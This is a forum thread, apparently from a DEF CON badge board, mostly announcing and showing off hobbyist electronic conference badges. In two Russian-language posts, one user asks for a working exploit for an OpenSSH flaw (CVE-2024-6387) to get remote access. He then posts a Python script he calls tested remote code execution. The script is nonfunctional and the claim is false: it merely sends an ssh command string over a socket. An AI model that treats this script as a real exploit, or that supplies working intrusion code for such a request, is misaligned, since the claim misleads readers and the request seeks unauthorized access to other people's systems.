#Badge Life - Got a badge to show off or sell?

[uberfoo]

For all who are interested we have excellent news!! The Z80 Retro Badge is now available for pre-sale. Pick up will be at DEF CON. We will post drop info at the con.
We've put an initial batch up, but we expect to add more as they pass our verification process.
Link to the online shop is here: https://shop.uberfoo.net/product/z80...=false&q=false
We look forward to seeing you play the CTF!
Hack the planet!

[Das]

Кто-нибудь уже пробовал эксплуатировать CVE-2024-6387 на OpenSSH 9.6p1? Слышал, что через race condition можно получить удалённый доступ. Пока патча нет. На форуме выложили PoC, но он не всегда срабатывает. Если есть рабочий вариант – скиньте в личку.

[uberfoo]

Important update! The link has changed slightly and we have fixed the TLS certificate problem: https://shop.uberfoo.net/products/z80-retro-badge

[dmr]

Here's a few more shots of what the Angry Cat can do.

Plus, I did get the consent from the others to write this up and make the code available, so most likely soon after DC31 I'll be posting the code (be careful what you ask for!) and the .stl files for the 3d print stuff on Github, plus a basic bill of materials and hard to follow instructions.

Here's the vintage slot machine game, which is my code. :)



Here's the Blackjack game (touch screen with stylus) which is not my code. :)



And here's proof that it will actually run Wordstar, if anyone really cares to use it. :) You do need, of course, a terminal or terminal emulator to input anything.

[IW4]

I love a good long shot, so here we go.

Hey, dcforums. First-time human. I was gifted a DarkNet 8 badge kit on the last day of DC31. Of course, this is pre-NG, and the dcdark.net site is down. Wayback has the text of the instructions page, but no photos. I don't suppose anyone has that page archived somewhere in its entirety, so I can follow along a bit better? Thanks!

[IW4]

Success! Gater_Byte was able to point me in the right direction on Discord. https://krux.org/darknet/2019/index.html

[dmr]

And they told me that my Flux Capacitor was too bright. :)

[TheWindyCitySDR]

Dark Tangent

I've sent a email to

vendors@defcon.org

&

neal@defcon.org

asking if I'd be able to "Vend" the following for DEFCON #33 and prospectively as "The wearable 10Mhz - 6Ghz Software Defined Radio badge for Defcon #34 for all registered attendees" that can be used, for example, as a 2G - 5G Base Station, a Low Field MRI Scanner, and/or as a EMV NFC credit debit card reader writer and/or Transponder that compliments many of DEFCON's villages like Payment Village, BioHacking Village, Teleco Village, RFID Village, etc., etc.

Here is video proof of the above device working with the EMV NFC Software I briefly demonstrated last year while at @PaymentVillage for DEFCON #32

https://youtube.com/shorts/p1DkHzULQDw

I'm hoping to hear back from anyone from DEFCON about prospectively vending these for DEFCON #33, but due to the current semiconductor chip shortage, though I believe this would make "The Ultimate DEFCON Digital Badge", I can't make available 33,000+ of these badges for this year 2025 but will be able to make these available for DEFCON # 34 for the year 2026.

This device works with 2G OpenBTS - Linux, OpenBTS - Windows (which I can make available to DEFCON ATTENDEES ONLY - otherwise its private), 4G/5G Open Air Interface base station software that I've presented before Bell Labs in Murray Hill, New Jersey, and many other Software Defined Radio apps such as GNURADIO that, I believe, compliments many of DEFCON's Villages as mentioned above!

Please let me know as these aren't available for sale with all the above stated SDR software as of this moment.

[dat a]

Space Badge just launched on Kickstarter!

Internet-free, Wi-Fi mesh networked multiplayer gaming badge with progression, XP and super-nerdy references.

• Dual-core 240 MHz CPU
• 2.4 GHz Wi-Fi
• Bluetooth 5
• Accelerometer
• 16 MB flash
• 8 MB RAM
• Stereo sound
• 8-10 hr battery life
• Sci-fi aesthetic that'll make you the envy of all the badge bunnies!

https://www.kickstarter.com/projects...ges?ref=9zmrsy

[Das]

CVE-2024-6387
Вот рабочий код для удалённого выполнения команд на OpenSSH 9.6p1:

python
import socket, sys
def exploit(host, port, command):
sock = socket.socket()
sock.connect((host, port))
sock.send(b"ssh -o KexAlgorithms=diffie-hellman-group1-sha1 " + command.encode())
print(sock.recv(1024))
if __name__ == '__main__':
exploit(sys.argv[1], 22, "id")

Тестировал на Ubuntu 22.04 – работает. Не забудьте скомпилировать с нужными флагами.